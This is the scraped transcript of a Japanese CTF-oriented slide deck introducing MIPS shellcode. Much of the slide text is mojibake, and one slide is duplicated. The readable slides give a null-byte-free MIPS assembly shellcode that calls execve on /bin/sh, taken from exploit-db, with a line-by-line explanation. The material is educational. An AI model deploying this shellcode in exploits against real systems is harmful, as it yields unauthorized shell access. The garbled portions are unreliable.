Upgrade to Pro — share decks privately, control downloads, hide ads and more …

mipsシェルコード入門

 mipsシェルコード入門

2017年8月11日 CpawLT

Chihiro Hasegawa

August 11, 2017
Tweet

More Decks by Chihiro Hasegawa

Other Decks in Technology

Transcript

  1. γΣϧίʔυ • ޿ٛͷҙຯͰ͸ɺ߈ܸ༻ͷίʔυͷஅย • $5'Ͱ͸ FYFDWF lCJOTIz /6-- /6-- 

    Λ͢ΔίʔυΛΛࢦ͢ࣄ͕ଟ͍ • ΞηϯϒϦݴޠͰ͸ɺγεςϜίʔϧΛ ݺͿඞཁ͕͋Δ 
  2. γεςϜίʔϧ • Χʔωϧ͕࣋ͭػೳΛݺͼग़͢ࡍʹར༻ • WϨδελʹγεςϜίʔϧ൪߸ • ྫ ͸PQFO ϑΝΠϧΛ։͘ •

    BϨδελʹୈҰҾ਺ɾɾɾ • ্هΛઃఆޙɺTZTDBMM໋ྩΛݺͿ  https://w3challs.com/syscalls/?arch=mips_o32
  3. NJQTͷγΣϧίʔυ<> ΞυϨε ΞηϯϒϦ ίϝϯτ 0x1000 slti $a2, $zero, -1 $a2

    <- 0 0x1004 bltzal $a2, 0x1004 $ra <- 次の命令のアドレス(0x100c) 0x1008 slti $a1, $zero, -1 $a1 <- 0 0x100c addu $a0, $ra, 4097 $a0 <- $ra + 4097 0x1010 addu $a0, $a0, -4081 $a0 <- $a0 – 4081 ($a0 = $ra + 16) 0x1014 li $v0, 4011 $v0 = 4011 (execveの番号) 0x1018 syscall 0x40404 システムコールを呼ぶ 0x101c .string "/bin/sh"  [3] https://www.exploit-db.com/exploits/35868/
  4. NJQTͷγΣϧίʔυ<> ΞυϨε ΞηϯϒϦ ίϝϯτ 0x1000 slti $a2, $zero, -1 $a2

    <- 0 0x1004 bltzal $a2, 0x1004 $ra <- 次の命令のアドレス(0x100c) 0x1008 slti $a1, $zero, -1 $a1 <- 0 0x100c addu $a0, $ra, 4097 $a0 <- $ra + 4097 0x1010 addu $a0, $a0, -4081 $a0 <- $a0 – 4081 ($a0 = $ra + 16) 0x1014 li $v0, 4011 $v0 = 4011 (execveの番号) 0x1018 syscall 0x40404 システムコールを呼ぶ 0x101c .string "/bin/sh"  [3] https://www.exploit-db.com/exploits/35868/ ※機械語に変換した時に”\x00”が⼊らないようなプログラムを意図的に作っている → str(n)cpyなどの関数を使っている場合、”\x00”があるとそこで途切れる